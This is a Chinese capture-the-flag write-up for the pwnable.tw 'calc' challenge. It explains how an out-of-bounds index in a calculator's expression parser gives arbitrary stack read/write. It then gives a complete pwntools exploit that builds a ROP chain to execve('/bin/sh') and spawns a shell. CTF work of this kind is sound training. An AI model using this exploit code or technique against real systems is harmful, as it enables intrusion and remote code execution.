前言

这道题做了超久,大概断断续续四天。准备逆向之前一定要有充足的精力再开始。逆向的时候可以从正向的角度想想,如果要实现这个功能,这个参数的意思是什么。比如idb中的operator参数和array100参数是分别用来存放运算符和数字的。废话不多说,再来分析一下此题。详细的WP可以参考[1]。

思路

利用数组越界漏洞,完成任意读写。

理解其实感觉很绕 多看几遍,本质是*array100不再是2了。
IDA中array100[*array100 - 1] += array100[*array100];

若 1+1
array100[0] = 2 array100[1] = 1 array100[2] = 1
operator[0] = +
then
*array100 = 2
array100[1] = 2

若 +300
array100[0] = 1 array100[1] = 300
operator[0] = +
then
array100[*array100 - 1] += array100[*array100];
*array100 = 1
array100[0] += array100[300]
  • 读:"+ offset" 读取 array100 offset处的值。比如ebp距离array100的距离是360*4,那么读取ebp输入+360即可,假设值为raw。
  • 写:读之后,若写入的值是value,T=value-raw。T>0,利用"+361+T"写。
    否则用"+361+T"写。(T此时为负)若value很大,0xffxxxxxx,可以先将value-0x100000000,两者值相等。

任意读写之后,由于开启了NX,修改返回地址并布置rop即可调用execve('/bin/sh',0,0)getshell。由于源程序中没有/bin/sh,因此可以收工将字符串布置在栈上,读ebp中保存的值来计算偏移。

  • u32(str),str是一个4byte的字符串。
  • system("sh")也可以,但是execve只能执行"/bin/sh"。

Reference

[1] http://www.freebuf.com/articles/others-articles/132283.html
[2] http://dogewatch.github.io/2017/04/10/pwnable.tw-Part1/

exp

from pwn import *
import sys,getopt
import time

args = sys.argv[1:]
context(os='linux', arch='i386')
debug = 1 if '-nd' not in args else 0

proc_name = './calc'
local = 1 if '-r' not in args else 0
isattach = local & 0 
bps = isattach & 1 
ip = 'chall.pwnable.tw'
port = 10100
io = None


def makeio():
    global io 
    if local:
    	io = process(proc_name)
    else:
    	io = remote(ip,port)
def ru(data):
	return io.recvuntil(data)
def rv():
	return io.recv()
def sl(data):
	return io.sendline(data)
def sd(data):
	return io.send(data)
def rl():
	return io.recvline()
def lg(data):
    return log.info(data)


#360     ebp addr_360 = ebp-0x20
#361     0x80701d0 :pop edx ; pop ecx ; pop ebx ; ret
#362     0
#363     0
#364     addr of /bin/sh ; should calc its offset
#365     0x0805c34b : pop eax ; ret
#366     11
#367     0x08049a21 : int 0x80
#368     u32('/bin/'')
#369     u32('sh\x00')

rop = [0x80701d0,0,0,0xdeadbeaf,0x0805c34b,11,0x08049a21,u32('/bin'),u32('/sh\x00')]


def get_stack(data):
    sl('+' + str(data))
    stack = rv()
    try:
        stack = int(stack.replace('\n',''))
    except:
        pass
    if stack < 0:
        stack += 0x100000000

    return stack
    
def write_stack(data,value):
    stack = get_stack(data)
    lg(str(data)+' stack is' + hex(stack))
    offset = value - stack 
    if offset > 0:
        new_stack = get_stack( str(data) + '+' + str(offset))
    else:
        new_stack = get_stack( str(data) + str(offset))
    lg(str(data)+'stack is reset to' + hex(new_stack))
    
def attach():
    if isattach:
        if bps:
            gdb.attach(pidof(io)[0], open('printbps'))
        else:
            gdb.attach(pidof(io)[0])
 
def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    
    ru('calculator ===')
    get_stack('1')
    rv()
    ebp = get_stack(360) -0x20 
    rop[3] = ebp + 0x4*8 - 0x100000000
     
    print ebp 
    log.info('ebp addr is' + hex(ebp) + '|' + hex(rop[6]))
    for i in range(0,len(rop)):
        stack_i = i + 361
        log.info(stack_i)
        write_stack(stack_i,rop[i])
    attach()
    sl('quit') 

    io.interactive()


if __name__ == '__main__':
	pwn()